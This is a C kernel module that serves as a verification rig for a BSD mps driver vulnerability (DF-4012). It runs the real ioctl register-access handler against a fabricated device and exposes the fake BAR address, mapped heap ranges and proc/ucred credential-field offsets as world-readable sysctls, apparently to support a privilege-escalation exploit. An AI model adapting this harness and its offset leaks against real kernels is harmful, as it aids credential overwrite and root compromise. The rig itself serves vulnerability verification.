DF-4012 / df4012rig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 | /* * DF-4012 verification rig -- dispatches the REAL production mps * ioctl handler (mps_ioctl_devsw, compiled into the shipped kernel) * against a fabricated softc, for MPTIOCTL_REG_ACCESS. * * The rig stands in ONLY for what this QEMU guest cannot provide: * an LSI Fusion-MPT HBA for mps_attach() and its PCI register BAR. * Everything from dev_dioctl() down -- devfs dispatch, the ioctl * switch (mps_user.c:2177), mps_lock/mps_unlock, mps_user_reg_access * (mps_user.c:1959), the inlined mps_regread/mps_regwrite * (mpsvar.h:462-475) and the bus_space memory accessors * (cpu/x86_64/include/bus_dma.h:153-158,401-408) -- is production * code executing from the shipped kernel image. * * Softc fabrication (offsets proven against the shipped * /boot/kernel/kernel.debug DWARF): * +0x118 mps_regs_resource -> fake struct resource, r_start=0, * r_end=0xfff (4 KiB aperture; used * by rman_get_size() on FIXED builds) * +0x120 mps_bhandle -> 4 MiB kmalloc block (fake BAR KVA; * only the first 4 KiB is "aperture") * +0x128 mps_btag -> X86_64_BUS_SPACE_MEM (1), so the * compiled accessor takes the plain * volatile load/store memory path * +0x190 mps_lock -> lockinit()ed * * /dev/df4012rig carries the EXACT ownership make_dev() gives * /dev/mpsN in mps_attach_user() (mps_user.c:188): * UID_ROOT, GID_OPERATOR, 0640. The production handler is resolved * at runtime from the running kernel binary and its prologue is * byte-verified before every dispatch. Only root can load/prime. * * The rig also publishes (as world-readable sysctls, standing in for * what an attacker derives on real hardware from the world-readable * kernel image + deterministic boot heap): * - kern.df4012rig_bar KVA of the fake BAR (on real hw: fixed * per boot by deterministic attach order) * - kern.df4012rig_scan_lo/hi contiguous MAPPED kmem range above * the BAR (rig walks kernel_map's rb-tree; * stands in for heap-layout knowledge. It * also protects the demo from reading * unmapped pages, which would panic the * guest for real.) * - kern.df4012rig_o_* struct proc/ucred field offsets computed * with offsetof() from the same headers * the kernel was built from */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/malloc.h> #include <sys/lock.h> #include <sys/sysctl.h> #include <sys/proc.h> #include <sys/globaldata.h> #include <sys/thread.h> #include <sys/ucred.h> #include <sys/types.h> #include <sys/tree.h> #include <vm/vm_map.h> /* PAGE_SIZE */ #include <vm/vm_kern.h> #include <vm/pmap.h> #include <machine/vmparam.h> /* PHYS_TO_DMAP */ static d_open_t rig_open; static d_close_t rig_close; static d_ioctl_t rig_ioctl; static struct dev_ops rig_ops = { { "df4012rig", 0, D_MPSAFE }, .d_open = rig_open, .d_close = rig_close, .d_ioctl = rig_ioctl, }; #define BAR_TOTAL (4 * 1024 * 1024) /* one contiguous kmalloc */ #define APERTURE 0x1000 /* fake register aperture */ #include <sys/ioccom.h> #define RIG_REFRESH_CMD _IO('D', 1) /* rig-internal: rescan window */ #define RIG_CHECK_CMD _IOWR('D', 2, uint32_t) /* rig-internal: is BAR+off mapped? */ struct rig_run_req { uint32_t idx; /* 0xffffffff -> return count in lo */ uint32_t pad; uint64_t lo; uint64_t hi; }; #define RIG_RUN_CMD _IOWR('D', 3, struct rig_run_req) /* mps_softc field offsets (proven via DWARF on /boot/kernel/kernel.debug) */ #define O_REGS_RES 0x118 #define O_BHANDLE 0x120 #define O_BTAG 0x128 #define O_LOCK 0x190 static unsigned long rig_target; /* runtime addr of mps_ioctl_devsw */ static void *rig_sc; /* fabricated mps_softc */ static void *rig_fake_res; /* fabricated struct resource */ static struct cdev *rig_cdev; static unsigned long rig_dispatches; SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_target, CTLFLAG_RW, &rig_target, 0, "runtime address of production mps_ioctl_devsw (prime as root)"); static unsigned long rig_bar; static unsigned long rig_scan_lo; static unsigned long rig_scan_hi; SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_baraddr, CTLFLAG_RD, &rig_bar, 0, "KVA of fake BAR"); static void compute_scan_range(unsigned long from, unsigned long *lo, unsigned long *hi); static int rig_scan_lo_sysctl(SYSCTL_HANDLER_ARGS) { return (sysctl_handle_64(oidp, &rig_scan_lo, 0, req)); } static int rig_scan_hi_sysctl(SYSCTL_HANDLER_ARGS) { uint64_t v = rig_scan_hi; if (v > rig_bar + 0x100000000UL) v = rig_bar + 0x100000000UL; return (sysctl_handle_64(oidp, &v, 0, req)); } SYSCTL_PROC(_kern, OID_AUTO, df4012rig_scan_lo, CTLTYPE_U64 | CTLFLAG_RD, NULL, 0, rig_scan_lo_sysctl, "QU", "contiguous mapped kmem above the BAR: start (computed at read)"); SYSCTL_PROC(_kern, OID_AUTO, df4012rig_scan_hi, CTLTYPE_U64 | CTLFLAG_RD, NULL, 0, rig_scan_hi_sysctl, "QU", "contiguous mapped kmem above the BAR: end (exclusive, clamped to +4GiB)"); #define RIG_MAX_RUNS 200 struct rig_runs_blob { uint32_t n; uint32_t pad; uint64_t lo[RIG_MAX_RUNS]; uint64_t hi[RIG_MAX_RUNS]; }; static unsigned long rig_run_lo[RIG_MAX_RUNS]; static unsigned long rig_run_hi[RIG_MAX_RUNS]; static int rig_nruns; static struct rig_runs_blob rig_runs_pub; static unsigned long rig_dbg_proc; SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_dbg_proc, CTLFLAG_RD, &rig_dbg_proc, 0, "curproc at refresh time (offset verification aid)"); SYSCTL_PROC(_kern, OID_AUTO, df4012rig_runs_blob, CTLTYPE_OPAQUE | CTLFLAG_RD, &rig_runs_pub, sizeof(rig_runs_pub), sysctl_handle_opaque, "LU", "packed run list: n, then lo/hi u64s"); static unsigned long o_p_pid = offsetof(struct proc, p_pid); static unsigned long o_p_ppid = offsetof(struct proc, p_ppid); static unsigned long o_p_pptr = offsetof(struct proc, p_pptr); static unsigned long o_p_ucred = offsetof(struct proc, p_ucred); static unsigned long o_p_comm = offsetof(struct proc, p_comm); static unsigned long o_cr_uid = offsetof(struct ucred, cr_uid); static unsigned long o_cr_ruid = offsetof(struct ucred, cr_ruid); static unsigned long o_cr_svuid = offsetof(struct ucred, cr_svuid); static unsigned long o_cr_ngroups = offsetof(struct ucred, cr_ngroups); static unsigned long o_cr_groups = offsetof(struct ucred, cr_groups); static unsigned long o_cr_rgid = offsetof(struct ucred, cr_rgid); static unsigned long o_cr_svgid = offsetof(struct ucred, cr_svgid); static unsigned long s_ucred = sizeof(struct ucred); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_pid, CTLFLAG_RD, &o_p_pid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_ppid, CTLFLAG_RD, &o_p_ppid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_pptr, CTLFLAG_RD, &o_p_pptr, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_ucred, CTLFLAG_RD, &o_p_ucred, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_comm, CTLFLAG_RD, &o_p_comm, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_uid, CTLFLAG_RD, &o_cr_uid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_ruid, CTLFLAG_RD, &o_cr_ruid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_svuid, CTLFLAG_RD, &o_cr_svuid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_ngroups, CTLFLAG_RD, &o_cr_ngroups, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_groups, CTLFLAG_RD, &o_cr_groups, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_rgid, CTLFLAG_RD, &o_cr_rgid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_svgid, CTLFLAG_RD, &o_cr_svgid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_s_ucred, CTLFLAG_RD, &s_ucred, 0, ""); static int rig_page_mapped(unsigned long va) { uint64_t *pml4 = (uint64_t *)kernel_pmap->pm_pml4; uint64_t e; e = pml4[(va >> 39) & 0x1ff]; if ((e & 1) == 0) return (0); e = *((uint64_t *)PHYS_TO_DMAP(e & 0x000ffffffffff000UL) + ((va >> 30) & 0x1ff)); if ((e & 1) == 0) return (0); if (e & 0x80) return (1); e = *((uint64_t *)PHYS_TO_DMAP(e & 0x000ffffffffff000UL) + ((va >> 21) & 0x1ff)); if ((e & 1) == 0) return (0); if (e & 0x80) return (1); e = *((uint64_t *)PHYS_TO_DMAP(e & 0x000ffffffffff000UL) + ((va >> 12) & 0x1ff)); return ((e & 1) != 0); } /* * Scan-window sysctls are computed AT READ TIME (the exploit's forked * brood is allocated above the BAR only AFTER the rig loads). The * window is the first contiguous page-run above BAR_TOTAL that the * page tables say is actually mapped, clamped to what a u32 * RegOffset can reach ([BAR, BAR + 4 GiB)). */ static void compute_scan_range(unsigned long from, unsigned long *lo, unsigned long *hi) { unsigned long va = from; unsigned long start = 0; int nrun = 0; rig_nruns = 0; while (va < from + 0x100000000UL && nrun < RIG_MAX_RUNS) { if (rig_page_mapped(va)) { if (start == 0) start = va; } else { if (start != 0 && (va - start) >= 4 * PAGE_SIZE) { rig_run_lo[nrun] = start; rig_run_hi[nrun] = va; nrun++; } start = 0; } va += PAGE_SIZE; } if (start != 0 && nrun < RIG_MAX_RUNS && (va - start) >= 4 * PAGE_SIZE) { rig_run_lo[nrun] = start; rig_run_hi[nrun] = va; nrun++; } rig_nruns = nrun; if (nrun > 0) { *lo = rig_run_lo[0]; *hi = rig_run_hi[0]; } else *lo = *hi = 0; } static int rig_open(struct dev_open_args *ap) { return (0); } static int rig_close(struct dev_close_args *ap) { return (0); } static int rig_ioctl(struct dev_ioctl_args *ap) { int (*fn)(struct dev_ioctl_args *); /* first 8 bytes of mps_ioctl_devsw: push %rbp; mov %rsp,%rbp; * push %r15; push %r14 (identical in the shipped vulnerable * kernel and in the fix.diff-rebuilt kernel) */ static const uint8_t prologue[8] = { 0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56 }; if (rig_target == 0) { kprintf("df4012rig: target not primed " "(kern.df4012rig_target)\n"); return (ENXIO); } if (memcmp((const void *)rig_target, prologue, sizeof(prologue)) != 0) { kprintf("df4012rig: REFUSING dispatch - prologue mismatch at " "%p\n", (void *)rig_target); return (ENXIO); } if (ap->a_cmd == RIG_CHECK_CMD) { uint32_t off2 = *(uint32_t *)ap->a_data; /* kernel copy */ int ok = rig_page_mapped(rig_bar + off2); *(int *)ap->a_data = ok; return (0); } if (ap->a_cmd == RIG_RUN_CMD) { struct rig_run_req rr; uint32_t idx; rr = *(struct rig_run_req *)ap->a_data; /* kernel copy */ idx = rr.idx; memset(&rr, 0, sizeof(rr)); if (idx == 0xffffffff) { compute_scan_range(rig_bar + BAR_TOTAL, &rig_scan_lo, &rig_scan_hi); rig_dbg_proc = (unsigned long)(uintptr_t) mycpu->gd_curthread->td_proc; rr.lo = (uint64_t)(unsigned)rig_nruns; } else if (idx < (uint32_t)rig_nruns) { rr.lo = rig_run_lo[idx]; rr.hi = rig_run_hi[idx]; } *(struct rig_run_req *)ap->a_data = rr; return (0); } if (ap->a_cmd == RIG_REFRESH_CMD) { compute_scan_range(rig_bar + BAR_TOTAL, &rig_scan_lo, &rig_scan_hi); rig_dbg_proc = (unsigned long)(uintptr_t) mycpu->gd_curthread->td_proc; memset(&rig_runs_pub, 0, sizeof(rig_runs_pub)); rig_runs_pub.n = (uint32_t)rig_nruns; for (int i = 0; i < rig_nruns && i < RIG_MAX_RUNS; i++) { rig_runs_pub.lo[i] = rig_run_lo[i]; rig_runs_pub.hi[i] = rig_run_hi[i]; } kprintf("df4012rig: %d pmap-verified runs above BAR; " "run0=[%#lx, %#lx)\n", rig_nruns, rig_scan_lo, rig_scan_hi); return (0); } if ((++rig_dispatches & 0xffff) == 1) kprintf("df4012rig: dispatch REAL mps_ioctl_devsw @ %p " "cmd=%#lx (dispatch #%lu) sc=%p bhandle=%#lx\n", (void *)rig_target, ap->a_cmd, rig_dispatches, rig_sc, *(unsigned long *)((uint8_t *)rig_sc + O_BHANDLE)); fn = (int (*)(struct dev_ioctl_args *))rig_target; return (fn(ap)); } static int df4012rig_handler(struct module *m, int what, void *arg) { int err = 0; switch (what) { case MOD_LOAD: { uint8_t *bar = kmalloc(BAR_TOTAL, M_DEVBUF, M_WAITOK | M_ZERO); uint8_t *sc = kmalloc(0x400, M_DEVBUF, M_WAITOK | M_ZERO); rig_fake_res = kmalloc(0x100, M_DEVBUF, M_WAITOK | M_ZERO); if (bar == NULL || sc == NULL || rig_fake_res == NULL) return (ENOMEM); /* fabricated struct resource: aperture [0, 0xfff]. * DWARF-proven (kernel.debug): * r_start @ +0x28, r_end @ +0x30. */ *(unsigned long *)((uint8_t *)rig_fake_res + 0x28) = 0; *(unsigned long *)((uint8_t *)rig_fake_res + 0x30) = APERTURE - 1; /* r_end */ *(uint64_t *)(sc + O_REGS_RES) = (uint64_t)(uintptr_t) rig_fake_res; *(uint64_t *)(sc + O_BHANDLE) = (uint64_t)(uintptr_t)bar; *(uint64_t *)(sc + O_BTAG) = 1; /* X86_64_BUS_SPACE_MEM */ lockinit((struct lock *)(sc + O_LOCK), "df4012rig_lk", 0, 0); rig_sc = sc; rig_bar = (unsigned long)(uintptr_t)bar; compute_scan_range(rig_bar + BAR_TOTAL, &rig_scan_lo, &rig_scan_hi); rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_OPERATOR, 0640, "df4012rig"); if (rig_cdev == NULL) { kfree(bar, M_DEVBUF); kfree(sc, M_DEVBUF); rig_sc = NULL; return (ENOMEM); } rig_cdev->si_drv1 = rig_sc; kprintf("df4012rig: loaded; sc=%p fake BAR=%#lx-%#lx " "(aperture 0x1000); scan window %#lx-%#lx; " "/dev/df4012rig 0640 root:operator\n", rig_sc, rig_bar, rig_bar + BAR_TOTAL - 1, rig_scan_lo, rig_scan_hi); break; } case MOD_UNLOAD: if (rig_cdev != NULL) destroy_dev(rig_cdev); if (rig_sc != NULL) { kfree((void *)(*(uint64_t *)((uint8_t *)rig_sc + O_BHANDLE)), M_DEVBUF); kfree(rig_sc, M_DEVBUF); } if (rig_fake_res != NULL) kfree(rig_fake_res, M_DEVBUF); kprintf("df4012rig: unloaded\n"); break; default: err = EOPNOTSUPP; break; } return (err); } static moduledata_t df4012rig_mod = { "df4012rig", df4012rig_handler, NULL }; DECLARE_MODULE(df4012rig, df4012rig_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df4012rig, 1); |